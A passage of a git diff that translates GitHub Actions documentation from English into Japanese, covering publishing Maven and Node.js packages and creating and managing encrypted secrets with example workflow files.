+1. Java JDKをセットアップし、環境変数の`MAVEN_USERNAME`と`MAVEN_PASSWORD`を使って`ossrh`リポジトリに対する認証を追加するためにMavenの_settings.xml_ファイルも設定します。
 1. {% data reusables.github-actions.publish-to-maven-workflow-step %}
 
-   For more information about using secrets in your workflow, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+   ワークフロー中でのシークレットの利用に関する詳しい情報については「[暗号化されたシークレットの作成と利用](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)」を参照してください。
 
-## Publishing packages to {% data variables.product.prodname_registry %}
+## {% data variables.product.prodname_registry %}へのパッケージの公開
 
-Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs when the `release` event triggers with type `created`. The workflow publishes the package to {% data variables.product.prodname_registry %} if CI tests pass. For more information on the `release` event, see "[Events that trigger workflows](/actions/reference/events-that-trigger-workflows#release)."
+新しいリリースを作成するたびに、パッケージを公開するワークフローを起動できます。 以下の例でのワークフローは、`created`という種類で`release`イベントが発生したときに実行されます。 このワークフローは、CIテストをパスすれば{% data variables.product.prodname_registry %}にパッケージを公開します。 `release`イベントに関する詳しい情報については「[ワークフローを起動するイベント](/actions/reference/events-that-trigger-workflows#release)」を参照してください。
 
-In this workflow, you can use the `setup-java` action. This action installs the given version of the JDK into the `PATH`, and also sets up a Maven _settings.xml_ for publishing the package to {% data variables.product.prodname_registry %}. The generated _settings.xml_ defines authentication for a server with an `id` of `github`, using the `GITHUB_ACTOR` environment variable as the username and the `GITHUB_TOKEN` environment variable as the password. The `GITHUB_TOKEN` environment variable is assigned the value of the special `GITHUB_TOKEN` secret.
+このワークフロー内では、`setup-java`アクションを利用できます。 このアクションは、指定されたバージョンのJDKを`PATH`にインストールし、{% data variables.product.prodname_registry %}にパッケージを公開するためにMavenの_settings.xml_もセットアップします。 生成された_settings.xml_は、環境変数の`GITHUB_ACTOR`をユーザ名、`GITHUB_TOKEN`をパスワードとして使い、`github`の`id`でサーバーの認証を定義します。 `GITHUB_TOKEN` 環境変数には、特別な `GITHUB_TOKEN` シークレットの値が割り当てられます。
 
 {% data reusables.github-actions.github-token-permissions %}
 
-For a Maven-based project, you can make use of these settings by creating a distribution repository in your _pom.xml_ file with an `id` of `github` that points to your {% data variables.product.prodname_registry %} endpoint.
+Mavenベースのプロジェクトでは、{% data variables.product.prodname_registry %}のエンドポイントを指す`github`の`id`で_pom.xml_ファイル中に配布リポジトリを作成することによって、これらの設定を利用できます。
 
-For example, if your organization is named "octocat" and your repository is named "hello-world", then the {% data variables.product.prodname_registry %} configuration in _pom.xml_ would look similar to the below example.
+たとえば、Organizationの名前が"octocat"でリポジトリの名前が"hello-world"なら、_pom.xml_中の{% data variables.product.prodname_registry %}の設定は以下の例のようになるでしょう。
 
 {% raw %}
 ```xml{:copy}
@@ -136,7 +136,7 @@ For example, if your organization is named "octocat" and your repository is name
 ```
 {% endraw %}
 
-With this configuration, you can create a workflow that publishes your package to {% data variables.product.prodname_registry %} by making use of the automatically generated _settings.xml_.
+この設定で、自動的に生成された_settings.xml_を利用して{% data variables.product.prodname_registry %}にパッケージを公開するワークフローを作成できます。
 
 ```yaml{:copy}
 name: Publish package to GitHub Packages
@@ -161,19 +161,19 @@ jobs:
           GITHUB_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
 ```
 
-This workflow performs the following steps:
+このワークフローは以下のステップを実行します。
 
-1. Checks out a copy of project's repository.
-1. Sets up the Java JDK, and also automatically configures the Maven _settings.xml_ file to add authentication for the `github` Maven repository to use the `GITHUB_TOKEN` environment variable.
+1. プロジェクトのリポジトリのコピーをチェックアウトします。
+1. Java JDKをセットアップし、自動的にMavenの_settings.xml_ファイルを設定して環境変数の`GITHUB_TOKEN`を使うように`github` Mavenリポジトリの認証を追加します。
 1. {% data reusables.github-actions.publish-to-packages-workflow-step %}
 
-   For more information about using secrets in your workflow, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+   ワークフロー中でのシークレットの利用に関する詳しい情報については「[暗号化されたシークレットの作成と利用](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)」を参照してください。
 
-## Publishing packages to the Maven Central Repository and {% data variables.product.prodname_registry %}
+## Maven Central Repositoryと{% data variables.product.prodname_registry %}へのパッケージの公開
 
-You can publish your packages to both the Maven Central Repository and {% data variables.product.prodname_registry %} by using the `setup-java` action for each registry.
+`setup-java`アクションをそれぞれのレジストリに対して利用すれば、Maven Central Repositoryと{% data variables.product.prodname_registry %}の両方にパッケージを公開できます。
 
-Ensure your _pom.xml_ file includes a distribution management repository for both your {% data variables.product.prodname_dotcom %} repository and your Maven Central Repository provider. For example, if you deploy to the Central Repository through the OSSRH hosting project, you might want to specify it in a distribution management repository with the `id` set to `ossrh`, and you might want to specify {% data variables.product.prodname_registry %} in a distribution management repository with the `id` set to `github`.
+_pom.xml_ファイルに、{% data variables.product.prodname_dotcom %}リポジトリとMaven Central Repositoryプロバイダの双方に対する配布管理リポジトリを確実に含めてください。 たとえば、OSSRHホスティングプロジェクトを通じてCentral Repositoryへデプロイするなら、それを`id`を`ossrh`に設定して配布管理リポジトリ内で指定し、`id`を`github`に設定して配布管理リポジトリ内で{% data variables.product.prodname_registry %}を指定することになるかもしれません。
 
 ```yaml{:copy}
 name: Publish package to the Maven Central Repository and GitHub Packages
@@ -212,14 +212,14 @@ jobs:
           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}{% endraw %}
 ```
 
-This workflow calls the `setup-java` action twice.  Each time the `setup-java` action runs, it overwrites the Maven _settings.xml_ file for publishing packages.  For authentication to the repository, the _settings.xml_ file references the distribution management repository `id`, and the username and password.
+このワークフローは、`setup-java`アクションを2回呼びます。  実行される度に、`setup-java`アクションはMavenの_settings.xml_をパッケージの公開のために上書きします。  リポジトリの認証については、_settings.xml_ファイルは配布管理リポジトリの`id`、及びユーザ名とパスワードを参照します。
 
-This workflow performs the following steps:
+このワークフローは以下のステップを実行します。
 
-1. Checks out a copy of project's repository.
-1. Calls `setup-java` the first time. This configures the Maven _settings.xml_ file for the `ossrh` repository, and sets the authentication options to environment variables that are defined in the next step.
+1. プロジェクトのリポジトリのコピーをチェックアウトします。
+1. 1回目の`setup-java`の呼び出しを行います。 これはMavenの_settings.xml_ファイルを`ossrh`に対して設定し、認証のオプションを次のステップで定義される環境変数に設定します。
 1. {% data reusables.github-actions.publish-to-maven-workflow-step %}
-1. Calls `setup-java` the second time. This automatically configures the Maven _settings.xml_ file for {% data variables.product.prodname_registry %}.
+1. 2回目の`setup-java`の呼び出しを行います。 Mavenの_settings.xml_ファイルを{% data variables.product.prodname_registry %}に対して自動的に設定します。
 1. {% data reusables.github-actions.publish-to-packages-workflow-step %}
 
-   For more information about using secrets in your workflow, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+   ワークフロー中でのシークレットの利用に関する詳しい情報については「[暗号化されたシークレットの作成と利用](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)」を参照してください。
diff --git a/translations/ja-JP/content/actions/publishing-packages/publishing-nodejs-packages.md b/translations/ja-JP/content/actions/publishing-packages/publishing-nodejs-packages.md
index 1e2b38be48..d98783379d 100644
--- a/translations/ja-JP/content/actions/publishing-packages/publishing-nodejs-packages.md
+++ b/translations/ja-JP/content/actions/publishing-packages/publishing-nodejs-packages.md
@@ -1,6 +1,6 @@
 ---
-title: Publishing Node.js packages
-intro: You can publish Node.js packages to a registry as part of your continuous integration (CI) workflow.
+title: Node.jsパッケージの公開
+intro: 継続的インテグレーション（CI）ワークフローの一部として、Node.jsのパッケージをレジストリに公開できます。
 redirect_from:
   - /actions/automating-your-workflow-with-github-actions/publishing-nodejs-packages
   - /actions/language-and-framework-guides/publishing-nodejs-packages
@@ -22,44 +22,44 @@ shortTitle: Node.js packages
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Introduction
+## はじめに
 
-This guide shows you how to create a workflow that publishes Node.js packages to the {% data variables.product.prodname_registry %} and npm registries after continuous integration (CI) tests pass.
+本ガイドでは、継続的インテグレーション（CI）テストにパスした後、Node.jsのパッケージを{% data variables.product.prodname_registry %}及びnpmレジストリに公開するワークフローの作成方法を紹介します。
 
-## Prerequisites
+## 必要な環境
 
-We recommend that you have a basic understanding of workflow configuration options and how to create a workflow file. For more information, see "[Learn {% data variables.product.prodname_actions %}](/actions/learn-github-actions)."
+ワークフローの設定オプションと、ワークフローファイルの作成方法についての基本的な知識を持っておくことをおすすめします。 詳しい情報については、「[{% data variables.product.prodname_actions %} を学ぶ](/actions/learn-github-actions)」を参照してください。
 
-For more information about creating a CI workflow for your Node.js project, see "[Using Node.js with {% data variables.product.prodname_actions %}](/actions/automating-your-workflow-with-github-actions/using-nodejs-with-github-actions)."
+Node.jsプロジェクトのためのCIワークフローの作成に関する詳しい情報については「[{% data variables.product.prodname_actions %}でのNode.jsの利用](/actions/automating-your-workflow-with-github-actions/using-nodejs-with-github-actions)」を参照してください。
 
-You may also find it helpful to have a basic understanding of the following:
+また、以下の基本的な理解があれば役立ちます。
 
-- "[Working with the npm registry](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)"
-- "[Environment variables](/actions/reference/environment-variables)"
-- "[Encrypted secrets](/actions/reference/encrypted-secrets)"
-- "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow)"
+- 「[npm レジストリの利用](/packages/working-with-a-github-packages-registry/working-with-the-npm-registry)」
+- 「[環境変数](/actions/reference/environment-variables)」
+- 「[暗号化されたシークレット](/actions/reference/encrypted-secrets)」
+- 「[ワークフローでの認証](/actions/reference/authentication-in-a-workflow)」
 
-## About package configuration
+## パッケージの設定について
 
- The `name` and `version` fields in the *package.json* file create a unique identifier that registries use to link your package to a registry. You can add a summary for the package listing page by including a `description` field in the *package.json* file. For more information, see "[Creating a package.json file](https://docs.npmjs.com/creating-a-package-json-file)" and "[Creating Node.js modules](https://docs.npmjs.com/creating-node-js-modules)" in the npm documentation.
+ *package.json*ファイル中の`name`及び`version`フィールドは、レジストリがパッケージをレジストリにリンクするために利用するユニークな識別子を作成します。 *package.json*ファイル中に`description`を含めることによって、パッケージのリストページのためのまとめを追加できます。 詳しい情報については、npmのドキュメンテーション中の「[package.jsonファイルの作成](https://docs.npmjs.com/creating-a-package-json-file)」及び「[Node.jsモジュールの作成](https://docs.npmjs.com/creating-node-js-modules)」を参照してください。
 
-When a local *.npmrc* file exists and has a `registry` value specified, the `npm publish` command uses the registry configured in the *.npmrc* file. {% data reusables.github-actions.setup-node-intro %}
+ローカルの*.npmrc*ファイルがあり、`registry`の値が指定されている場合、`npm publish`コマンドは*.npmrc*ファイルで設定されたレジストリを使います。 {% data reusables.github-actions.setup-node-intro %}
 
-You can specify the Node.js version installed on the runner using the `setup-node` action.
+`setup-node`アクションを使えば、ランナーにインストールされたNode.jsのバージョンを指定できます。
 
-If you add steps in your workflow to configure the `publishConfig` fields in your *package.json* file, you don't need to specify the registry-url using the `setup-node` action, but you will be limited to publishing the package to one registry. For more information, see "[publishConfig](https://docs.npmjs.com/files/package.json#publishconfig)" in the npm documentation.
+*package.json*ファイルに`publishConfig`フィールドを設定するステップをワークフローに追加したなら、`setup-node`アクションを使ってregistry-urlを指定する必要はありませんが、パッケージを公開するレジストリは1つだけに限られます。 詳しい情報についてはnpmドキュメンテーションの「[Configの公開](https://docs.npmjs.com/files/package.json#publishconfig)」を参照してください。
 
-## Publishing packages to the npm registry
+## npmレジストリへのパッケージの公開
 
-Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs when the `release` event triggers with type `created`. The workflow publishes the package to the npm registry if CI tests pass.
+新しいリリースを作成するたびに、パッケージを公開するワークフローを起動できます。 以下の例でのワークフローは、`created`という種類で`release`イベントが発生したときに実行されます。 このワークフローは、CIテストをパスすればnpmレジストリにパッケージを公開します。
 
-To perform authenticated operations against the npm registry in your workflow, you'll need to store your npm authentication token as a secret. For example, create a repository secret called `NPM_TOKEN`. For more information, see "[Creating and using encrypted secrets](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+ワークフロー中で npm レジストリに対して認証を受けた操作を行うためには、npm の認証トークンをシークレットとして保存しなければなりません。 たとえば、`NPM_TOKEN` というリポジトリシークレットを作成します。 詳しい情報については、「[暗号化されたシークレットの作成と利用](/actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)」を参照してください。
 
-By default, npm uses the `name` field of the *package.json* file to determine the name of your published package. When publishing to a global namespace, you only need to include the package name. For example, you would publish a package named `npm-hello-world-test` to `https://www.npmjs.com/package/npm-hello-world-test`.
+By default, npm uses the `name` field of the *package.json* file to determine the name of your published package. グローバルな名前空間に公開する場合は、パッケージ名だけを含める必要があります。 For example, you would publish a package named `npm-hello-world-test` to `https://www.npmjs.com/package/npm-hello-world-test`.
 
-If you're publishing a package that includes a scope prefix, include the scope in the name of your *package.json* file. For example, if your npm scope prefix is octocat and the package name is hello-world, the `name` in your *package.json* file should be `@octocat/hello-world`. If your npm package uses a scope prefix and the package is public, you need to use the option `npm publish --access public`. This is an option that npm requires to prevent someone from publishing a private package unintentionally.
+スコープのプレフィックスを含むパッケージを公開するなら、そのスコープを*package.json*ファイルの名前に含めてください。 たとえばnpmのスコーププレフィックスがoctocatであり、パッケージ名がhello-worldなら、*package.json*ファイル中の`name`は`@octocat/hello-world`とすべきです。 npmパッケージがスコーププレフィックスを使っており、パブリックであるなら、`npm publish --access public`オプションを使う必要があります。 これは、意図せずプライベートパッケージを公開してしまうことを防ぐためにnpmが必要とするオプションです。
 
-This example stores the `NPM_TOKEN` secret in the `NODE_AUTH_TOKEN` environment variable. When the `setup-node` action creates an *.npmrc* file, it references the token from the `NODE_AUTH_TOKEN` environment variable.
+以下の例は、`NPM_TOKEN`シークレットを環境変数の`NODE_AUTH_TOKEN`に保存します。 `setup-node`アクションが*.npmrc*ファイルを作成する際には、環境変数の`NODE_AUTH_TOKEN`からトークンを参照します。
 
 {% raw %}
 ```yaml{:copy}
@@ -84,7 +84,7 @@ jobs:
 ```
 {% endraw %}
 
-In the example above, the `setup-node` action creates an *.npmrc* file on the runner with the following contents:
+上の例では、`setup-node`アクションは以下の内容でランナー上に*.npmrc*ファイルを作成します。
 
 ```ini
 //registry.npmjs.org/:_authToken=${NODE_AUTH_TOKEN}
@@ -94,15 +94,15 @@ always-auth=true
 
 Please note that you need to set the `registry-url` to `https://registry.npmjs.org/` in `setup-node` to properly configure your credentials.
 
-## Publishing packages to {% data variables.product.prodname_registry %}
+## {% data variables.product.prodname_registry %}へのパッケージの公開
 
-Each time you create a new release, you can trigger a workflow to publish your package. The workflow in the example below runs anytime the `release` event with type `created` occurs. The workflow publishes the package to {% data variables.product.prodname_registry %} if CI tests pass.
+新しいリリースを作成するたびに、パッケージを公開するワークフローを起動できます。 以下の例でのワークフローは、`created`という種類で`release`イベントが発生したときに実行されます。 このワークフローは、CIテストをパスすれば{% data variables.product.prodname_registry %}にパッケージを公開します。
 
-### Configuring the destination repository
+### 宛先リポジトリの設定
 
-If you don't provide the `repository` key in your *package.json* file, then {% data variables.product.prodname_registry %} publishes a package in the {% data variables.product.prodname_dotcom %} repository you specify in the `name` field of the *package.json* file. For example, a package named `@my-org/test` is published to the `my-org/test` {% data variables.product.prodname_dotcom %} repository.
+*package.json* ファイルで `repository` キーを指定しない場合、{% data variables.product.prodname_registry %} は *package.json* ファイルの `name` フィールドで指定した {% data variables.product.prodname_dotcom %} リポジトリにパッケージを公開します。 たとえば、`@my-org/test` という名前のパッケージは、`my-org/test` {% data variables.product.prodname_dotcom %} というリポジトリに公開されます。
 
-However, if you do provide the `repository` key, then the repository in that key is used as the destination npm registry for {% data variables.product.prodname_registry %}. For example, publishing the below *package.json* results in a package named `my-amazing-package` published to the `octocat/my-other-repo` {% data variables.product.prodname_dotcom %} repository.
+ただし、`repository` キーを指定すると、そのキーのリポジトリが {% data variables.product.prodname_registry %} の宛先 npm レジストリとして使用されます。 たとえば、以下の *package.json* を公開すると、`my-amazing-package` という名前のパッケージが `octocat/my-other-repo` {% data variables.product.prodname_dotcom %} リポジトリに公開されます。
 
 ```json
 {
@@ -113,15 +113,15 @@ However, if you do provide the `repository` key, then the repository in that key
   },
 ```
 
-### Authenticating to the destination repository
+### 宛先リポジトリへの認証
 
-To perform authenticated operations against the {% data variables.product.prodname_registry %} registry in your workflow, you can use the `GITHUB_TOKEN`. {% data reusables.github-actions.github-token-permissions %}
+ワークフロー中で{% data variables.product.prodname_registry %}レジストリに対して認証を受けた操作をするには、`GITHUB_TOKEN`が使えます。 {% data reusables.github-actions.github-token-permissions %}
 
-If you want to publish your package to a different repository, you must use a personal access token (PAT) that has permission to write to packages in the destination repository. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)" and "[Encrypted secrets](/actions/reference/encrypted-secrets)."
+パッケージを別のリポジトリに公開する場合は、宛先リポジトリ内のパッケージに書き込む権限を持つ個人アクセストークン (PAT) を使用する必要があります。 詳しい情報については、「[個人アクセストークンを作成する](/github/authenticating-to-github/creating-a-personal-access-token)」および「[暗号化されたシークレット](/actions/reference/encrypted-secrets)」を参照してください。
 
-### Example workflow
+### ワークフローの例
 
-This example stores the `GITHUB_TOKEN` secret in the `NODE_AUTH_TOKEN` environment variable. When the `setup-node` action creates an *.npmrc* file, it references the token from the `NODE_AUTH_TOKEN` environment variable.
+以下の例は、`GITHUB_TOKEN`シークレットを環境変数の`NODE_AUTH_TOKEN`に保存します。 `setup-node`アクションが*.npmrc*ファイルを作成する際には、環境変数の`NODE_AUTH_TOKEN`からトークンを参照します。
 
 ```yaml{:copy}
 name: Publish package to GitHub Packages
@@ -149,7 +149,7 @@ jobs:
           NODE_AUTH_TOKEN: {% raw %}${{ secrets.GITHUB_TOKEN }}{% endraw %}
 ```
 
-The `setup-node` action creates an *.npmrc* file on the runner. When you use the `scope` input to the `setup-node` action, the *.npmrc* file includes the scope prefix. By default, the `setup-node` action sets the scope in the *.npmrc* file to the account that contains that workflow file.
+`setup-node`アクションは、ランナー上で*.npmrc*ファイルを作成します。 `setup-node`アクションで`scope`インプットを使うと、*.npmrc*ファイルにはスコーププレフィックスが含まれます。 デフォルトでは、`setup-node`アクションは*.npmrc*ファイルのスコープを、ワークフローファイルを含むアカウントに設定します。
 
 ```ini
 //npm.pkg.github.com/:_authToken=${NODE_AUTH_TOKEN}
@@ -157,9 +157,9 @@ The `setup-node` action creates an *.npmrc* file on the runner. When you use the
 always-auth=true
 ```
 
-## Publishing packages using yarn
+## yarnを利用したパッケージの公開
 
-If you use the Yarn package manager, you can install and publish packages using Yarn.
+パッケージマネージャーのYarnを使う場合、Yarnを使ってパッケージのインストールと公開が行えます。
 
 {% raw %}
 ```yaml{:copy}
diff --git a/translations/ja-JP/content/actions/security-guides/encrypted-secrets.md b/translations/ja-JP/content/actions/security-guides/encrypted-secrets.md
index ebe23f7005..217f80df5d 100644
--- a/translations/ja-JP/content/actions/security-guides/encrypted-secrets.md
+++ b/translations/ja-JP/content/actions/security-guides/encrypted-secrets.md
@@ -1,6 +1,6 @@
 ---
-title: Encrypted secrets
-intro: 'Encrypted secrets allow you to store sensitive information in your organization{% ifversion fpt or ghes > 3.0 or ghec %}, repository, or repository environments{% else %} or repository{% endif %}.'
+title: 暗号化されたシークレット
+intro: '暗号化されたシークレットを使うと、機密情報をOrganization{% ifversion fpt or ghes > 3.0 or ghec %}、リポジトリ、あるいはリポジトリの環境{% else %}あるいはリポジトリ{% endif %}に保存できます。'
 redirect_from:
   - /github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets
   - /actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets
@@ -17,81 +17,79 @@ versions:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About encrypted secrets
+## 暗号化されたシークレットについて
 
-Secrets are encrypted environment variables that you create in an organization{% ifversion fpt or ghes > 3.0 or ghae or ghec %}, repository, or repository environment{% else %} or repository{% endif %}. The secrets that you create are available to use in {% data variables.product.prodname_actions %} workflows. {% data variables.product.prodname_dotcom %} uses a [libsodium sealed box](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes) to help ensure that secrets are encrypted before they reach {% data variables.product.prodname_dotcom %} and remain encrypted until you use them in a workflow.
+シークレットは暗号化された環境変数で、Organization{% ifversion fpt or ghes > 3.0 or ghae or ghec %} リポジトリ、あるいはリポジトリ環境{% else %}あるいはリポジトリ{% endif %}に作成できます。 作成したシークレットは、{% data variables.product.prodname_actions %}ワークフローで利用できます。 {% data variables.product.prodname_dotcom %}はシークレットが{% data variables.product.prodname_dotcom %}に到達する前に暗号化され、ワークフローで使用されるまで暗号化されたままになっていることを確実にするのを助けるために[libsodium sealed box](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes)を使います。
 
 {% data reusables.github-actions.secrets-org-level-overview %}
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-For secrets stored at the environment level, you can enable required reviewers to control access to the secrets. A workflow job cannot access environment secrets until approval is granted by required approvers.
+環境レベルで保存されたシークレットについては、それらへのアクセスを制御するために必須のレビュー担当者を有効化することができます。 必須の承認者によって許可されるまで、ワークフローのジョブは環境のシークレットにアクセスできません。
 {% endif %}
 
 {% ifversion fpt or ghec or ghae-issue-4856 %}
 
 {% note %}
 
-**Note**: {% data reusables.actions.about-oidc-short-overview %}
+**注釈**: {% data reusables.actions.about-oidc-short-overview %}
 
 {% endnote %}
 
 {% endif %}
 
-### Naming your secrets
+### シークレットに名前を付ける
 
 {% data reusables.codespaces.secrets-naming %}
 
-  For example, {% ifversion fpt or ghes > 3.0 or ghae or ghec %}a secret created at the environment level must have a unique name in that environment, {% endif %}a secret created at the repository level must have a unique name in that repository, and a secret created at the organization level must have a unique name at that level. 
+  たとえば {% ifversion fpt or ghes > 3.0 or ghae or ghec %}環境のレベルで作成されたシークレットはその環境内でユニークな名前になっていなければならず、{% endif %}リポジトリのレベルで作成されたシークレットはそのリポジトリ内でユニークな名前になっていなければならず、Organizationのレベルで作成されたシークレットはそのレベルでユニークな名前になっていなければなりません。
 
-  {% data reusables.codespaces.secret-precedence %}{% ifversion fpt or ghes > 3.0 or ghae or ghec %} Similarly, if an organization, repository, and environment all have a secret with the same name, the environment-level secret takes precedence.{% endif %}
+  {% data reusables.codespaces.secret-precedence %}{% ifversion fpt or ghes > 3.0 or ghae or ghec %}同様に、Organization、リポジトリ、および環境がすべて同じ名前のシークレットがある場合、環境レベルのシークレットが優先されます。{% endif %}
 
-To help ensure that {% data variables.product.prodname_dotcom %} redacts your secret in logs, avoid using structured data as the values of secrets. For example, avoid creating secrets that contain JSON or encoded Git blobs.
+{% data variables.product.prodname_dotcom %} がログのシークレットを確実に削除するよう、シークレットの値として構造化データを使用しないでください。 たとえば、JSONやエンコードされたGit blobを含むシークレットは作成しないでください。
 
-### Accessing your secrets
+### シークレットにアクセスする
 
-To make a secret available to an action, you must set the secret as an input or environment variable in the workflow file. Review the action's README file to learn about which inputs and environment variables the action expects. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepsenv)."
+シークレットをアクションが使用できるようにするには、ワークフローファイルでシークレットを入力または環境変数に設定する必要があります。 アクションに必要な入力および環境変数については、アクションのREADMEファイルを確認します。 詳しい情報については、「[{% data variables.product.prodname_actions %}のワークフロー構文](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepsenv)」を参照してください。
 
-You can use and read encrypted secrets in a workflow file if you have access to edit the file. For more information, see "[Access permissions on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/access-permissions-on-github)."
+ファイルを編集するアクセス権を持っていれば、ワークフローファイル中の暗号化されたシークレットを使い、読み取ることができます。 詳細は「[{% data variables.product.prodname_dotcom %} 上のアクセス権限](/github/getting-started-with-github/access-permissions-on-github)」を参照してください。
 
 {% warning %}
 
-**Warning:** {% data variables.product.prodname_dotcom %} automatically redacts secrets printed to the log, but you should avoid printing secrets to the log intentionally.
+**警告：** {% data variables.product.prodname_dotcom %}は、ログに出力されたシークレットを自動的に削除しますが、シークレットをログに出力することは意識的に避けなくてはなりません。
 
 {% endwarning %}
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-Organization and repository secrets are read when a workflow run is queued, and environment secrets are read when a job referencing the environment starts.
+Organization及びリポジトリのシークレットはワークフローの実行がキューイングされた時点で読まれ、環境のシークレットは環境を参照しているジョブが開始された時点で読まれます。
 {% endif %}
 
-You can also manage secrets using the REST API. For more information, see "[Secrets](/rest/reference/actions#secrets)."
+REST API を使用してシークレットを管理することもできます。 詳しい情報については、「[シークレット](/rest/reference/actions#secrets)」を参照してください。
 
-### Limiting credential permissions
+### 認証情報のアクセス許可を制限する
 
-When generating credentials, we recommend that you grant the minimum permissions possible. For example, instead of using personal credentials, use [deploy keys](/developers/overview/managing-deploy-keys#deploy-keys) or a service account. Consider granting read-only permissions if that's all that is needed, and limit access as much as possible. When generating a personal access token (PAT), select the fewest scopes necessary.
+クレデンシャルを生成する際には、可能な限り最小限の権限だけを許可することをおすすめします。 たとえば、個人の認証情報を使う代わりに、[デプロイキー](/developers/overview/managing-deploy-keys#deploy-keys)あるいはサービスアカウントを使ってください。 必要なのが読み取りだけであれば、読み取りのみの権限を許可すること、そしてアクセスをできるかぎり限定することを考慮してください。 個人アクセストークン（PAT）を生成する際には、必要最小限のスコープを選択してください。
 
 {% note %}
 
-**Note:** You can use the REST API to manage secrets. For more information, see "[{% data variables.product.prodname_actions %} secrets API](/rest/reference/actions#secrets)."
+**Note:** You can use the REST API to manage secrets. 詳しい情報については「[{% data variables.product.prodname_actions %}シークレットAPI](/rest/reference/actions#secrets)」を参照してください。
 
 {% endnote %}
 
-## Creating encrypted secrets for a repository
+## リポジトリに暗号化されたシークレットを作成する
 
 {% data reusables.github-actions.permissions-statement-secrets-repository %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.github-actions.sidebar-secret %}
-1. Click **New repository secret**.
-1. Type a name for your secret in the **Name** input box.
-1. Enter the value for your secret.
-1. Click **Add secret**.
+1. **New repository secret（新しいリポジトリのシークレット）**をクリックしてください。
+1. **[Name（名前）]** 入力ボックスにシークレットの名前を入力します。
+1. シークレットの値を入力します。
+1. [**Add secret（シークレットの追加）**] をクリックします。
 
-If your repository {% ifversion fpt or ghes > 3.0 or ghae or ghec %}has environment secrets or {% endif %}can access secrets from the parent organization, then those secrets are also listed on this page.
+リポジトリが{% ifversion fpt or ghes > 3.0 or ghae or ghec %}環境のシークレットを持っているか{% endif %}親のOrganizationのシークレットにアクセスできるなら、それらのシークレットもこのページにリストされます。
 
 {% endwebui %}
 
@@ -117,22 +115,20 @@ To list all secrets for the repository, use the `gh secret list` subcommand.
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
 
-## Creating encrypted secrets for an environment
+## 環境の暗号化されたシークレットの生成
 
 {% data reusables.github-actions.permissions-statement-secrets-environment %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.github-actions.sidebar-environment %}
-1. Click on the environment that you want to add a secret to.
-2. Under **Environment secrets**, click **Add secret**.
-3. Type a name for your secret in the **Name** input box.
-4. Enter the value for your secret.
-5. Click **Add secret**.
+1. シークレットを追加したい環境をクリックしてください。
+2. **Environment secrets（環境のシークレット）**の下で、**Add secret（シークレットの追加）**をクリックしてください。
+3. **[Name（名前）]** 入力ボックスにシークレットの名前を入力します。
+4. シークレットの値を入力します。
+5. [**Add secret（シークレットの追加）**] をクリックします。
 
 {% endwebui %}
 
@@ -154,24 +150,22 @@ gh secret list --env <em>environment-name</em>
 
 {% endif %}
 
-## Creating encrypted secrets for an organization
+## Organizationの暗号化されたシークレットの作成
 
-When creating a secret in an organization, you can use a policy to limit which repositories can access that secret. For example, you can grant access to all repositories, or limit access to only private repositories or a specified list of repositories.
+Organizationでシークレットを作成する場合、ポリシーを使用して、そのシークレットにアクセスできるリポジトリを制限できます。 たとえば、すべてのリポジトリにアクセスを許可したり、プライベート リポジトリまたは指定したリポジトリ のリストのみにアクセスを制限したりできます。
 
 {% data reusables.github-actions.permissions-statement-secrets-organization %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.organizations.navigate-to-org %}
 {% data reusables.organizations.org_settings %}
 {% data reusables.github-actions.sidebar-secret %}
-1. Click **New organization secret**.
-1. Type a name for your secret in the **Name** input box.
-1. Enter the **Value** for your secret.
-1. From the **Repository access** dropdown list, choose an access policy.
-1. Click **Add secret**.
+1. **New organization secret（新しいOrganizationのシークレット）**をクリックしてください。
+1. **[Name（名前）]** 入力ボックスにシークレットの名前を入力します。
+1. シークレットの **Value（値）** を入力します。
+1. [ **Repository access（リポジトリアクセス）** ドロップダウン リストから、アクセス ポリシーを選択します。
+1. [**Add secret（シークレットの追加）**] をクリックします。
 
 {% endwebui %}
 
@@ -213,26 +207,25 @@ gh secret list --org <em>organization-name</em>
 
 {% endcli %}
 
-## Reviewing access to organization-level secrets
+## Organizationレベルのシークレットへのアクセスの確認
 
-You can check which access policies are being applied to a secret in your organization.
+Organization内のシークレットに適用されているアクセス ポリシーを確認できます。
 
 {% data reusables.organizations.navigate-to-org %}
 {% data reusables.organizations.org_settings %}
